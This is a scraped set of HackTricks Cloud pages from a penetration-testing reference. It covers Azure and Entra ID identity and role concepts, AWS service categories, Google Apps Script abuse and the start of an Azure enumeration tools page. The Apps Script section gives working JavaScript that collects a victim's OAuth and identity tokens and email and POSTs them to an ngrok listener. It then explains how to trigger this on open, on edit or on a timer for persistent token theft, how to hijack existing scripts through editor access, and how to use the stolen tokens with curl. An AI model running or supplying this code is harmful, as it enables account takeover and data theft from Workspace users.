a resource group `myResourceGroup` under subscription ID `12345678-1234-1234-1234-123456789012`, the Azure Resource ID looks like this: * `/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/myResourceGroup/providers/Microsoft.Compute/virtualMachines/myVM` Azure is Microsoft’s comprehensive **cloud computing platform, offering a wide range of services**, including virtual machines, databases, artificial intelligence, and storage. It acts as the foundation for hosting and managing applications, building scalable infrastructures, and running modern workloads in the cloud. Azure provides tools for developers and IT professionals to create, deploy, and manage applications and services seamlessly, catering to a variety of needs from startups to large enterprises. Entra ID is a cloud-based **identity and access management servic**e designed to handle authentication, authorization, and user access control. It powers secure access to Microsoft services such as Office 365, Azure, and many third-party SaaS applications. With features like single sign-on (SSO), multi-factor authentication (MFA), and conditional access policies among others. Entra Domain Services extends the capabilities of Entra ID by offering **managed domain services compatible with traditional Windows Active Directory environments**. It supports legacy protocols such as LDAP, Kerberos, and NTLM, allowing organizations to migrate or run older applications in the cloud without deploying on-premises domain controllers. This service also supports Group Policy for centralized management, making it suitable for scenarios where legacy or AD-based workloads need to coexist with modern cloud environments. * **New users** * Indicate email name and domain from selected tenant * Indicate Display name * Indicate password * Indicate properties (first name, job title, contact info…) * Default user type is “**member**” * **External users** * Indicate email to invite and display name (can be a non Microsft email) * Indicate properties * Default user type is “**Guest**” You can check them in [https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions](https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions) but among other actions a member will be able to: * Read all users, Groups, Applications, Devices, Roles, Subscriptions, and their public properties * Invite Guests (_can be turned off_) * Create Security groups * Read non-hidden Group memberships * Add guests to Owned groups * Create new application (_can be turned off_) * Add up to 50 devices to Azure (_can be turned off_) note Remember that to enumerate Azure resources the user needs an explicit grant of the permission. * **Members (**[**docs**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions) **)** * Register Applications: Default **Yes** * Restrict non-admin users from creating tenants: Default **No** * Create security groups: Default **Yes** * Restrict access to Microsoft Entra administration portal: Default **No** * This doesn’t restrict API access to the portal (only web) * Allow users to connect work or school account with LinkedIn: Default **Yes** * Show keep user signed in: Default **Yes** * Restrict users from recovering the BitLocker key(s) for their owned devices: Default No (check in Device Settings) * Read other users: Default **Yes** (via Microsoft Graph) * **Guests** * **Guest user access restrictions** options: * **Guest users have the same access as members**. * **Guest users have limited access to properties and memberships of directory objects (default)**. This restricts guest access to only their own user profile by default. Access to other users and group information is no longer allowed. * **Guest user access is restricted to properties and memberships of their own directory objects** is the most restrictive one. * **Guests can invite** options: * **Anyone in the organization can invite guest users including guests and non-admins (most inclusive) - Default** * **Member users and users assigned to specific admin roles can invite guest users including guests with member permissions** * **Only users assigned to specific admin roles can invite guest users** * **No one in the organization can invite guest users including admins (most restrictive)** * **External user leave**: Default **True** * Allow external users to leave the organization tip Even if restricted by default, users (members and guests) with granted permissions could perform the previous actions. There are **2 types of groups**: * **Security**: This type of group is used to give members access to aplications, resources and assign licenses. Users, devices, service principals and other groups an be members. * **Microsoft 365**: This type of group is used for collaboration, giving members access to a shared mailbox, calendar, files, SharePoint site, and so on. Group members can only be users. * This will have an **email address** with the domain of the EntraID tenant. There are **2 types of memberships**: * **Assigned**: Allow to manually add specific members to a group. * **Dynamic membership**: Automatically manages membership using rules, updating group inclusion when members attributes change. A **Service Principal** is an **identity** created for **use** with **applications**, hosted services, and automated tools to access Azure resources. This access is **restricted by the roles assigned** to the service principal, giving you control over **which resources can be accessed** and at which level. For security reasons, it's always recommended to **use service principals with automated tools** rather than allowing them to log in with a user identity. It's possible to **directly login as a service principal** by generating it a **secret** (password), a **certificate**, or granting **federated** access to third party platforms (e.g. Github Actions) over it. * If you choose **password** auth (by default), **save the password generated** as you won't be able to access it again. * If you choose certificate authentication, make sure the **application will have access over the private key**. An **App Registration** is a configuration that allows an application to integrate with Entra ID and to perform actions. 1. **Application ID (Client ID):** A unique identifier for your app in Azure AD. 2. **Redirect URIs:** URLs where Azure AD sends authentication responses. 3. **Certificates, Secrets & Federated Credentials:** It's possible to generate a secret or a certificate to login as the service principal of the application, or to grant federated access to it (e.g. Github Actions). 1. If a **certificate** or **secret** is generated, it's possible to a person to **login as the service principal** with CLI tools by knowing the **application ID**, the **secret** or **certificate** and the **tenant** (domain or ID). 4. **API Permissions:** Specifies what resources or APIs the app can access. 5. **Authentication Settings:** Defines the app's supported authentication flows (e.g., OAuth2, OpenID Connect). 6. **Service Principal**: A service principal is created when an App is created (if it's done from the web console) or when it's installed in a new tenant. 1. The **service principal** will get all the requested permissions it was configured with. **User consent for applications** * **Do not allow user consent** * An administrator will be required for all apps. * **Allow user consent for apps from verified publishers, internal apps, and apps requesting only selected permissions (Recommended)** * All users can consent apps requesting only permissions classified as "low impact", apps from verified publishers and apps registered in the tenant. * **Default** low impact permissions (although you need to accept to add them as low): * User.Read - sign in and read user profile * offline\_access - maintain access to data that users have given it access to * openid - sign users in * profile - view user's basic profile * email - view user's email address * **Allow user consent for apps (Default)** * All users can consent for any app to access the organization's data. **Admin consent requests**: Default **No** * Users can request admin consent to apps they are unable to consent to * If **Yes**: It’s possible to indicate Users, Groups and Roles that can consent requests * Configure also if users will receive email notifications and expiration reminders Managed identities in Azure Active Directory offer a solution for **automatically managing the identity** of applications. These identities are used by applications for the purpose of **connecting** to **resources** compatible with Azure Active Directory (**Azure AD**) authentication. This allows to **remove the need of hardcoding cloud credentials** in the code as the application will be able to contact the **metadata** service to get a valid token to **perform actions** as the indicated managed identity in Azure. There are two types of managed identities: * **System-assigned**. Some Azure services allow you to **enable a managed identity directly on a service instance**. When you enable a system-assigned managed identity, a **service principal** is created in the Entra ID tenant trusted by the subscription where the resource is located. When the **resource** is **deleted**, Azure automatically **deletes** the **identity** for you. * **User-assigned**. It's also possible for users to generate managed identities. These are created inside a resource group inside a subscription and a service principal will be created in the EntraID trusted by the subscription. Then, you can assign the managed identity to one or **more instances** of an Azure service (multiple resources). For user-assigned managed identities, the **identity is managed separately from the resources that use it**. Managed Identities **don't generate eternal credentials** (like passwords or certificates) to access as the service principal attached to it. It’s just a **table in Azure to filter service principals** and check the applications that have been assigned to. **It isn’t another type of “application”,** there isn’t any object in Azure that is an “Enterprise Application”, it’s just an abstraction to check the Service principals, App registrations and managed identities. Administrative units allows to **give permissions from a role over a specific portion of an organization**. Example: * Scenario: A company wants regional IT admins to manage only the users in their own region. * Implementation: * Create Administrative Units for each region (e.g., "North America AU", "Europe AU"). * Populate AUs with users from their respective regions. * AUs can **contain users, groups, or devices** * AUs support **dynamic memberships** * AUs **cannot contain AUs** * Assign Admin Roles: * Grant the "User Administrator" role to regional IT staff, scoped to their region's AU. * Outcome: Regional IT admins can manage user accounts within their region without affecting other regions. * In order to manage Entra ID there are some **built-in roles** that can be assigned to Entra ID principals to manage Entra ID * Check the roles in [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference) * Roles marked as **`PRIVILEGED`** by EntraID should be assigned with caution because as Microsoft explains [in the docs](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference) : Privileged role assignments can lead to elevation of privilege if not used in a secure and intended manner. * The most privileged role is **Global Administrator** * Roles group **granular permissions** and they ca be found in their descriptions. * It's possible to **create custom roles** with the desired permissions. Although for some reason not all the granular permissions are available for admins to create custom roles. * Roles in Entra ID are completely **independent** from roles in Azure. The only relation is that principals with the role **Global Administrator** in Entra ID can elevate to the **User Access Administrator** role in Azure. * It's **not possible to use wildcards** in Entra ID roles. * **Roles** are **assigned** to **principals** on a **scope**: `principal -[HAS ROLE]->(scope)` * **Roles** assigned to **groups** are **inherited** by all the **members** of the group. * Depending on the scope the role was assigned to, the **role** cold be **inherited** to **other resources** inside the scope container. For example, if a user A has a **role on the subscription**, he will have that **role on all the resource groups** inside the subscription and on **all the resources** inside the resource group. [From the docs:](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles) [Azure role-based access control (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) has several Azure **built-in roles** that you can **assign** to **users, groups, service principals, and managed identities**. Role assignments are the way you control **access to Azure resources**. If the built-in roles don't meet the specific needs of your organization, you can create your own [**Azure custom roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles) . **Built-In** roles apply only to the **resources** they are **meant** to, for example check this 2 examples of **Built-In roles over Compute** resources: | [Disk Backup Reader](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader) | Provides permission to backup vault to perform disk backup. | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 | | --- | --- | --- | | [Virtual Machine User Login](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | View Virtual Machines in the portal and login as a regular user. | fb879df8-f326-4884-b1cf-06f3ad86be52 | This roles can **also be assigned over logic containers** (such as management groups, subscriptions and resource groups) and the principals affected will have them **over the resources inside those containers**. * Find here a list with [**all the Azure built-in roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles) . * Find here a list with [**all the Entra ID built-in roles**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference) . * It’s also possible to create [**custom roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles) * They are created inside a scope, although a role can be in several scopes (management groups, subscription and resource groups) * It’s possible to configure all the granular permissions the custom role will have * It’s possible to exclude permissions * A principal with a excluded permission won’t be able to use it even if the permissions is being granted elsewhere * It’s possible to use wildcards * The used format is a JSON * `actions` refer to permissions for management operations on resources, such as creating, updating, or deleting resource definitions and settings. * `dataActions` are permissions for data operations within the resource, allowing you to read, write, or delete the actual data contained in the resource. * `notActions` and `notDataActions` are used to exclude specific permissions from the role. However, **they don't deny them**, if a different role grants them, the principal will have them. * `assignableScopes` is an array of scopes where the role can be assigned (like management groups, subscriptions, or resource groups). Example of permissions JSON for a custom role: json { "properties": { "roleName": "", "description": "", "assignableScopes": ["/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f"], "permissions": [\ {\ "actions": [\ "Microsoft.DigitalTwins/register/action",\ "Microsoft.DigitalTwins/unregister/action",\ "Microsoft.DigitalTwins/operations/read",\ "Microsoft.DigitalTwins/digitalTwinsInstances/read",\ "Microsoft.DigitalTwins/digitalTwinsInstances/write",\ "Microsoft.CostManagement/exports/*"\ ],\ "notActions": [\ "Astronomer.Astro/register/action",\ "Astronomer.Astro/unregister/action",\ "Astronomer.Astro/operations/read",\ "Astronomer.Astro/organizations/read"\ ],\ "dataActions": [],\ "notDataActions": []\ }\ ] } } * In order for a **principal to have some access over a resource** he needs an explicit role being granted to him (anyhow) **granting him that permission**. * An explicit **deny assignment takes precedence** over the role granting the permission. ![](../../../images/image (191).png) [https://link.springer.com/chapter/10.1007/978-1-4842-7325-8\_10](https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10) Global Administrator is a role from Entra ID that grants **complete control over the Entra ID tenant**. However, it doesn't grant any permissions over Azure resources by default. Users with the Global Administrator role has the ability to '**elevate' to User Access Administrator Azure role in the Root Management Group**. So Global Administrators can manage access in **all Azure subscriptions and management groups.** This elevation can be done at the end of the page: [https://portal.azure.com/#view/Microsoft\_AAD\_IAM/ActiveDirectoryMenuBlade/~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties) ![](../../../images/image (349).png) According to **[the docs](https://learn.microsoft.com/en-us/azure/role-based-access-control/conditions-role-assignments-portal) **: Currently, conditions can be added to built-in or custom role assignments that have **blob storage data actions or queue storage data actions**. Just like role assignments, **deny assignments** are used to **control access to Azure resources**. However, **deny assignments** are used to **explicitly deny access** to a resource, even if a user has been granted access through a role assignment. **Deny assignments** take precedence over **role assignments**, meaning that if a user is granted access through a role assignment but is also explicitly denied access through a deny assignment, the deny assignment will take precedence. Just like role assignments, **deny assignments** are applied over some scope indicating the affected principals and the permissions that are being denied. Moreover, in the case of deny assignments, it's possible to **prevent the deny to be inherited** by children resources. **Azure Policies** are rules that help organizations ensure their resources meet specific standards and compliance requirements. They allow you to **enforce or audit settings on resources in Azure**. For example, you can prevent the creation of virtual machines in an unauthorized region or ensure that all resources have specific tags for tracking. Azure Policies are **proactive**: they can stop non-compliant resources from being created or changed. They are also **reactive**, allowing you to find and fix existing non-compliant resources. 1. **Policy Definition**: A rule, written in JSON, that specifies what is allowed or required. 2. **Policy Assignment**: The application of a policy to a specific scope (e.g., subscription, resource group). 3. **Initiatives**: A collection of policies grouped together for broader enforcement. 4. **Effect**: Specifies what happens when the policy is triggered (e.g., "Deny," "Audit," or "Append"). **Some examples:** 1. **Ensuring Compliance with Specific Azure Regions**: This policy ensures that all resources are deployed in specific Azure regions. For example, a company might want to ensure all its data is stored in Europe for GDPR compliance. 2. **Enforcing Naming Standards**: Policies can enforce naming conventions for Azure resources. This helps in organizing and easily identifying resources based on their names, which is helpful in large environments. 3. **Restricting Certain Resource Types**: This policy can restrict the creation of certain types of resources. For example, a policy could be set to prevent the creation of expensive resource types, like certain VM sizes, to control costs. 4. **Enforcing Tagging Policies**: Tags are key-value pairs associated with Azure resources used for resource management. Policies can enforce that certain tags must be present, or have specific values, for all resources. This is useful for cost tracking, ownership, or categorization of resources. 5. **Limiting Public Access to Resources**: Policies can enforce that certain resources, like storage accounts or databases, do not have public endpoints, ensuring that they are only accessible within the organization's network. 6. **Automatically Applying Security Settings**: Policies can be used to automatically apply security settings to resources, such as applying a specific network security group to all VMs or ensuring that all storage accounts use encryption. Note that Azure Policies can be attached to any level of the Azure hierarchy, but they are **commonly used in the root management group** or in other management groups. Azure policy json example: json { "policyRule": { "if": { "field": "location", "notIn": ["eastus", "westus"] }, "then": { "effect": "Deny" } }, "parameters": {}, "displayName": "Allow resources only in East US and West US", "description": "This policy ensures that resources can only be created in East US or West US.", "mode": "All" } In Azure **permissions are can be assigned to any part of the hierarchy**. That includes management groups, subscriptions, resource groups, and individual resources. Permissions are **inherited** by contained **resources** of the entity where they were assigned. This hierarchical structure allows for efficient and scalable management of access permissions. ![](../../../images/image (26).png) **RBAC** (role-based access control) is what we have seen already in the previous sections: **Assigning a role to a principal to grant him access** over a resource. However, in some cases you might want to provide **more fined-grained access management** or **simplify** the management of **hundreds** of role **assignments**. Azure **ABAC** (attribute-based access control) builds on Azure RBAC by adding **role assignment conditions based on attributes** in the context of specific actions. A _role assignment condition_ is an **additional check that you can optionally add to your role assignment** to provide more fine-grained access control. A condition filters down permissions granted as a part of the role definition and role assignment. For example, you can **add a condition that requires an object to have a specific tag to read the object**. You **cannot** explicitly **deny** **access** to specific resources **using conditions**. * [https://learn.microsoft.com/en-us/azure/governance/management-groups/overview](https://learn.microsoft.com/en-us/azure/governance/management-groups/overview) * [https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/organize-subscriptions](https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/organize-subscriptions) * [https://abouttmc.com/glossary/azure-subscription/#:~:text=An%20Azure%20subscription%20is%20a,the%20subscription%20it%20belongs%20to.](https://abouttmc.com/glossary/azure-subscription/) * [https://learn.microsoft.com/en-us/azure/role-based-access-control/overview#how-azure-rbac-determines-if-a-user-has-access-to-a-resource](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview#how-azure-rbac-determines-if-a-user-has-access-to-a-resource) * [https://stackoverflow.com/questions/65922566/what-are-the-differences-between-service-principal-and-app-registration](https://stackoverflow.com/questions/65922566/what-are-the-differences-between-service-principal-and-app-registration) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # AWS - Services - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 2 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. Services that fall under container services have the following characteristics: * The service itself runs on **separate infrastructure instances**, such as EC2. * **AWS** is responsible for **managing the operating system and the platform**. * A managed service is provided by AWS, which is typically the service itself for the **actual application which are seen as containers**. * As a user of these container services, you have a number of management and security responsibilities, including **managing network access security, such as network access control list rules and any firewalls**. * Also, platform-level identity and access management where it exists. * **Examples** of AWS container services include Relational Database Service, Elastic Mapreduce, and Elastic Beanstalk. * These services are **removed, abstracted, from the platform or management layer which cloud applications are built on**. * The services are accessed via endpoints using AWS application programming interfaces, APIs. * The **underlying infrastructure, operating system, and platform is managed by AWS**. * The abstracted services provide a multi-tenancy platform on which the underlying infrastructure is shared. * **Data is isolated via security mechanisms**. * Abstract services have a strong integration with IAM, and **examples** of abstract services include S3, DynamoDB, Amazon Glacier, and SQS. **The pages of this section are ordered by AWS service. In there you will be able to find information about the service (how it works and capabilities) and that will allow you to escalate privileges.** tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # GWS - App Scripts - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 8 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. App Scripts is **code that will be triggered when a user with editor permission access the doc the App Script is linked with** and after **accepting the OAuth prompt**. They can also be set to be **executed every certain time** by the owner of the App Script (Persistence). There are several ways to create an App Script, although the most common ones are f**rom a Google Document (of any type)** and as a **standalone project**: Create a container-bound project from Google Docs, Sheets, or Slides 1. Open a Docs document, a Sheets spreadsheet, or Slides presentation. 2. Click **Extensions** > **Google Apps Script**. 3. In the script editor, click **Untitled project**. 4. Give your project a name and click **Rename**. Create a standalone project To create a standalone project from Apps Script: 1. Go to [`script.google.com`](https://script.google.com/) . 2. Click add **New Project**. 3. In the script editor, click **Untitled project**. 4. Give your project a name and click **Rename**. Create a standalone project from Google Drive 1. Open [Google Drive](https://drive.google.com/) . 2. Click **New** > **More** > **Google Apps Script**. Create a container-bound project from Google Forms 1. Open a form in Google Forms. 2. Click More more\_vert > **Script editor**. 3. In the script editor, click **Untitled project**. 4. Give your project a name and click **Rename**. Create a standalone project using the clasp command line tool `clasp` is a command line tool that allows you create, pull/push, and deploy Apps Script projects from a terminal. See the [Command Line Interface using `clasp` guide](https://developers.google.com/apps-script/guides/clasp) for more details. [](#create-using-clasp) ------------------------ Start by crating an App Script, my recommendation for this scenario is to create a Google Sheet and go to **`Extensions > App Scripts`**, this will open a **new App Script for you linked to the sheet**. In order to give access to the OAuth token you need to click on **`Services +` and add scopes like**: * **AdminDirectory**: Access users and groups of the directory (if the user has enough permissions) * **Gmail**: To access gmail data * **Drive**: To access drive data * **Google Sheets API**: So it works with the trigger To change yourself the **needed scopes** you can go to project settings and enable: **`Show "appsscript.json" manifest file in editor`.** javascript function getToken() { var userEmail = Session.getActiveUser().getEmail() var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1) var oauthToken = ScriptApp.getOAuthToken() var identityToken = ScriptApp.getIdentityToken() // Data json data = { oauthToken: oauthToken, identityToken: identityToken, email: userEmail, domain: domain, } // Send data makePostRequest(data) // Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions // To ask for AdminDirectory permissions var pageToken = "" page = AdminDirectory.Users.list({ domain: domain, // Use the extracted domain orderBy: "givenName", maxResults: 100, pageToken: pageToken, }) // To ask for gmail permissions var threads = GmailApp.getInboxThreads(0, 10) // To ask for drive permissions var files = DriveApp.getFiles() } function makePostRequest(data) { var url = "http://5.tcp.eu.ngrok.io:12027" var options = { method: "post", contentType: "application/json", payload: JSON.stringify(data), } try { UrlFetchApp.fetch(url, options) } catch (e) { Logger.log("Error making POST request: " + e.toString()) } } To capture the request you can just run: bash ngrok tcp 4444 nc -lv 4444 #macOS Permissions requested to execute the App Script: ![](../../../images/image (334).png) warning As an external request is made the OAuth prompt will also **ask to permission to reach external endpoints**. Once the App is read, click on **⏰ Triggers** to create a trigger. As **function** ro tun choose **`getToken`**, runs at deployment **`Head`**, in event source select **`From spreadsheet`** and event type select **`On open`** or **`On edit`** (according to your needs) and save. Note that you can check the **runs of the App Scripts in the Executions tab** if you want to debug something. In order to **trigger** the **App Script** the victim needs to connect with **Editor Access**. tip The **token** used to execute the **App Script** will be the one of the **creator of the trigger**, even if the file is opened as Editor by other users. caution If someone **shared with you a document with App Scripts and a trigger using the Head** of the App Script (not a fixed deployment), you can modify the App Script code (adding for example the steal token functions), access it, and the **App Script will be executed with the permissions of the user that shared the document with you**! (note that the owners OAuth token will have as access scopes the ones given when the trigger was created). A **notification will be sent to the creator of the script indicating that someone modified the script** (What about using gmail permissions to generate a filter to prevent the alert?) tip If an **attacker modifies the scopes of the App Script** the updates **won't be applied** to the document until a **new trigger** with the changes is created. Therefore, an attacker won't be able to steal the owners creator token with more scopes than the one he set in the trigger he created. When you create a link to share a document a link similar to this one is created: `https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit` If you **change** the ending **"/edit"** for **"/copy"**, instead of accessing it google will ask you if you want to **generate a copy of the document:** ![](../../../images/image (335).png) If the user copies it an access it both the **contents of the document and the App Scripts will be copied**, however the **triggers are not**, therefore **nothing will be executed**. Note that it's also possible to **share an App Script as a Web application** (in the Editor of the App Script, deploy as a Web application), but an alert such as this one will appear: ![](../../../images/image (337).png) Followed by the **typical OAuth prompt asking** for the needed permissions. You can test a gathered token to list emails with: bash curl -X GET "https://www.googleapis.com/gmail/v1/users//messages" \ -H "Authorization: Bearer " List calendar of the user: bash curl -H "Authorization: Bearer $OAUTH_TOKEN" \ -H "Accept: application/json" \ "https://www.googleapis.com/calendar/v3/users/me/calendarList" One option for persistence would be to **create a document and add a trigger for the the getToken** function and share the document with the attacker so every-time the attacker opens the file he **exfiltrates the token of the victim.** It's also possible to create an App Script and make it trigger every X time (like every minute, hour, day...). An attacker that has **compromised credentials or a session of a victim could set an App Script time trigger and leak a very privileged OAuth token every day**: Just create an App Script, go to Triggers, click on Add Trigger, and select as event source Time-driven and select the options that better suits you: ![](../../../images/image (336).png) caution This will create a security alert email and a push message to your mobile alerting about this. Moreover, if someone **shared** with you a document with **editor access**, you can generate **App Scripts inside the document** and the **OWNER (creator) of the document will be the owner of the App Script**. warning This means, that the **creator of the document will appear as creator of any App Script** anyone with editor access creates inside of it. This also means that the **App Script will be trusted by the Workspace environment** of the creator of the document. caution This also means that if an **App Script already existed** and people have **granted access**, anyone with **Editor** permission on the doc can **modify it and abuse that access.** To abuse this you also need people to trigger the App Script. And one neat trick if to **publish the script as a web app**. When the **people** that already granted **access** to the App Script access the web page, they will **trigger the App Script** (this also works using `` tags). tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Az - Enumeration Tools - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 13 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. tip In linux you will need to install PowerShell Core: bash sudo apt-get update sudo apt-get install -y wget apt-transport-https software-properties-common # Ubuntu 20.04 wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb # Update repos sudo apt-get update sudo add-apt-repository universe # Install & start powershell sudo apt-get install -y powershell pwsh # Az cli curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash Instructions from the [**documentation**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4) : 1. Install `brew` if not installed yet: bash /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" 2. Install the latest stable release of PowerShell: sh brew install powershell/tap/powershell 3. Run PowerShell: sh pwsh 4. Update: sh brew update brew upgrade powershell [**Azure Command-Line Interface (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) is a cross-platform tool written in Python for managing and administering (most) Azure and Entra ID resources. It 